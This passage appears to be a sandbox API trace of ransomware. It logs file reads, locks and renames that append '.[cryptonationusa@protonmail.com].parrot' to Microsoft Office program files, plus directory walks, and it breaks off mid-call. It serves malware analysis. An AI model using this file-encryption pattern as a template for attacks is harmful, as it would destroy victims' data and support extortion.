ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8dc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8dc00, lpOverlapped=0x0) returned 1 [0235.566] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.636] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8dd18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.636] CloseHandle (hObject=0x284) returned 1 [0235.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSTSK_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wsstsk_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSTSK_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wsstsk_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.641] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0235.646] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8bf18, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.646] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.646] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.648] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.648] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8be00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8be00, lpOverlapped=0x0) returned 1 [0235.680] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.720] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8bf18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.720] CloseHandle (hObject=0x284) returned 1 [0235.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSTSK_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wsstsk_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSTSK_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wsstsk_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.726] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0235.731] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc518, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.731] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.731] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.732] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.733] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc400, lpOverlapped=0x0) returned 1 [0235.740] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.743] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.743] CloseHandle (hObject=0x284) returned 1 [0235.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.749] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0235.751] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6f18, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.751] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.752] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.753] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.753] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6e00, lpOverlapped=0x0) returned 1 [0235.754] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.755] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.755] CloseHandle (hObject=0x284) returned 1 [0235.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.760] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0235.762] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc118, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.762] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.762] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.764] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.764] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc000, lpOverlapped=0x0) returned 1 [0235.765] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.766] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.766] CloseHandle (hObject=0x284) returned 1 [0235.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0235.770] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0235.772] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6f18, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.772] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.772] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.774] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.775] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6e00, lpOverlapped=0x0) returned 1 [0235.776] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.776] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.776] CloseHandle (hObject=0x284) returned 1 [0235.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\XFUNC_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\xfunc_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0235.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e64b8 | out: hHeap=0x5b0000) returned 1 [0235.782] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0235.782] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x188bbfa0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x188bbfa0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.784] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa411e40, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x2b728, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACTDIR~1.PAR")) returned 1 [0235.785] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0235.785] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.785] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x188bbfa0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x188bbfa0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0235.785] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x188bbfa0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x188bbfa0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0235.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173e30 | out: hHeap=0x5b0000) returned 1 [0235.785] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0235.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0235.785] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd11a8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x16a760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0235.786] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.786] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0235.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.832] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4c1, lpOverlapped=0x0) returned 1 [0235.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c0210 | out: hHeap=0x5b0000) returned 1 [0235.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0235.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0235.842] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.842] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0235.842] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.843] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x484, lpOverlapped=0x0) returned 1 [0235.843] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\visiocustom.propdesc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visiocustom.propdesc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c0210 | out: hHeap=0x5b0000) returned 1 [0235.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0235.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0235.851] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.851] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0235.852] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.852] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd92, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xd92, lpOverlapped=0x0) returned 1 [0235.855] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\winproj.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\winproj.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c0210 | out: hHeap=0x5b0000) returned 1 [0235.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0235.860] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0235.862] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.862] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0235.863] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.863] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7560, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x7560, lpOverlapped=0x0) returned 1 [0235.864] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Wordcnvpxy.cnv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\wordcnvpxy.cnv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c0210 | out: hHeap=0x5b0000) returned 1 [0235.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0235.987] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0235.989] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.989] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0235.991] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.991] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1373c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1373c, lpOverlapped=0x0) returned 1 [0235.997] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\wordirm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0236.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0236.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0236.004] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0236.006] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0236.006] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0236.007] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.007] ReadFile (in: hFile=0x1b0, 